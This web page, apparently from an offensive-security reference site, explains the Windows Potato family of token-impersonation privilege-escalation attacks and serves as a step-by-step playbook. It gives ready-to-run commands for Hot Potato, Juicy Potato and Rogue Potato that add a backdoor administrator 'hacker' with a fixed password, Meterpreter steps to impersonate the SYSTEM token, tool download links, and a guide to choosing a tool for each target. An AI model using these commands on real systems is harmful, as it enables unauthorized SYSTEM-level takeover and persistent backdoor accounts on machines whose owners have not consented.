Skip to content
HackIndex logo

HackIndex

Hot Potato and Rotten Potato – Legacy Token Impersonation

4 min read Jun 19, 2026

The Potato attack family exploits Windows NTLM relay and token impersonation to escalate from a service account to SYSTEM. The original Hot Potato and Rotten Potato techniques are patched on modern Windows, but understanding them explains how modern variants (PrintSpoofer, GodPotato, JuicyPotatoNG) work. If you are on a legacy target — Windows 7, Server 2008, Server 2012 — these original tools may still apply.

The Potato Family — Version Guide

Tool

Targets

Status

Hot Potato

Windows 7, Server 2008/2012

Patched (MS16-075)

Rotten Potato

Windows 7–10, Server 2008–2016

Patched on modern builds

Juicy Potato

Windows 7–10, Server 2008–2016

Blocked on Server 2019+

Sweet Potato

Windows 10, Server 2019

Largely functional

Rogue Potato

Windows 10, Server 2019/2022

Functional

PrintSpoofer

Windows 10, Server 2016/2019/2022

Current — use this

GodPotato

Windows 2012–2022

Current — use this

JuicyPotatoNG

Windows 10/11, Server 2022

Current — use this

For modern targets, skip to https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation and use PrintSpoofer or GodPotato instead.

Prerequisites Check

All Potato attacks require SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege:

C:\Users\Guest\Desktop> whoami /priv | findstr "SeImpersonatePrivilege\|SeAssignPrimaryTokenPrivilege"

These are present by default on IIS app pool accounts, MSSQL service accounts, and NT AUTHORITY\NETWORK SERVICE.

Hot Potato (Windows 7 / Server 2008)

Hot Potato chains three techniques:

  1. NBNS spoofing to redirect WPAD requests to localhost

  2. Fake WPAD server to capture NTLM authentication

  3. NTLM relay to the local SMB service for token capture

Check if applicable:

C:\Users\Guest\Desktop> systeminfo | findstr "OS Version"
C:\Users\Guest\Desktop> # Windows 7 or Server 2008/2012 = potentially applicable
C:\Users\Guest\Desktop> # Check KB3164038 and MS16-075 — if missing, still vulnerable
C:\Users\Guest\Desktop> wmic qfe | findstr "3164038\|3161949\|3162343"

Exploit:

C:\Users\Guest\Desktop> .\potato.exe -ip $TARGET_IP -cmd "net user hacker Password123! /add && net localgroup administrators hacker /add" -disable_exhaust true

Download: https://github.com/foxglovesec/Potato

Rotten Potato (Windows 7–10, Server 2008–2016)

Rotten Potato works from within a Meterpreter session. It creates a fake COM server, tricks a SYSTEM process into authenticating to it, and steals the token.

Via Meterpreter:

meterpreter > upload rottenpotato.exe C:\\Windows\\Temp\\rottenpotato.exe
meterpreter > execute -f rottenpotato.exe -a "" -i -c -H
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"

Download: https://github.com/breenmachine/RottenPotatoNG

Juicy Potato (Windows 7–Server 2016)

Juicy Potato is the most refined version of Rotten Potato. It uses configurable COM CLSIDs and works on more Windows versions than the original.

Check Windows version — blocked on Server 2019+:

C:\Users\Guest\Desktop> systeminfo | findstr "OS Name"
C:\Users\Guest\Desktop> # Server 2019 or later = use GodPotato instead

Run:

C:\Users\Guest\Desktop> .\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add" -t *
 
C:\Users\Guest\Desktop> # With specific CLSID (needed on some systems)
C:\Users\Guest\Desktop> .\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user hacker Password123! /add" -t * -c "{CLSID}"

Find working CLSIDs for your target at: https://github.com/ohpe/juicy-potato/tree/master/CLSID

Download: https://github.com/ohpe/juicy-potato

Rogue Potato (Windows 10 / Server 2019)

Rogue Potato works where Juicy Potato fails. It uses a fake OXID resolver on a remote machine (your attack box) to redirect DCOM authentication.

Setup on attack box:

C:\Users\Guest\Desktop> # Start the fake OXID resolver
C:\Users\Guest\Desktop> ./RoguePotato.exe -r $LHOST -e "cmd.exe /c net user hacker Password123! /add"

On target:

C:\Users\Guest\Desktop> .\RoguePotato.exe -r $LHOST -e "cmd.exe /c net user hacker Password123! /add" -l 9999

Download: https://github.com/antonioCoco/RoguePotato

Choosing the Right Potato

Is the target Windows Server 2019 or later, or Windows 10/11?
├── Yes → Use GodPotato or PrintSpoofer
│         https://hackindex.io/platforms/windows/privilege-escalation/token-impersonation
└── No (Server 2016 or older, Windows 7/8/10 pre-2019)?
    ├── Have Meterpreter session? → Rotten Potato or Juicy Potato
    ├── No Meterpreter, Windows 7/Server 2008? → Hot Potato
    └── Server 2019 target with Juicy Potato blocked? → Rogue Potato

Why These Are Patched

MS16-075 patched the local NTLM relay component that Hot Potato relied on. Microsoft changed how the SYSTEM account handles NTLM authentication to local services.

Server 2019 DCOM changes blocked the specific COM activation path that Juicy Potato used. The newer tools (PrintSpoofer, GodPotato) use different coercion methods that work on updated systems.

References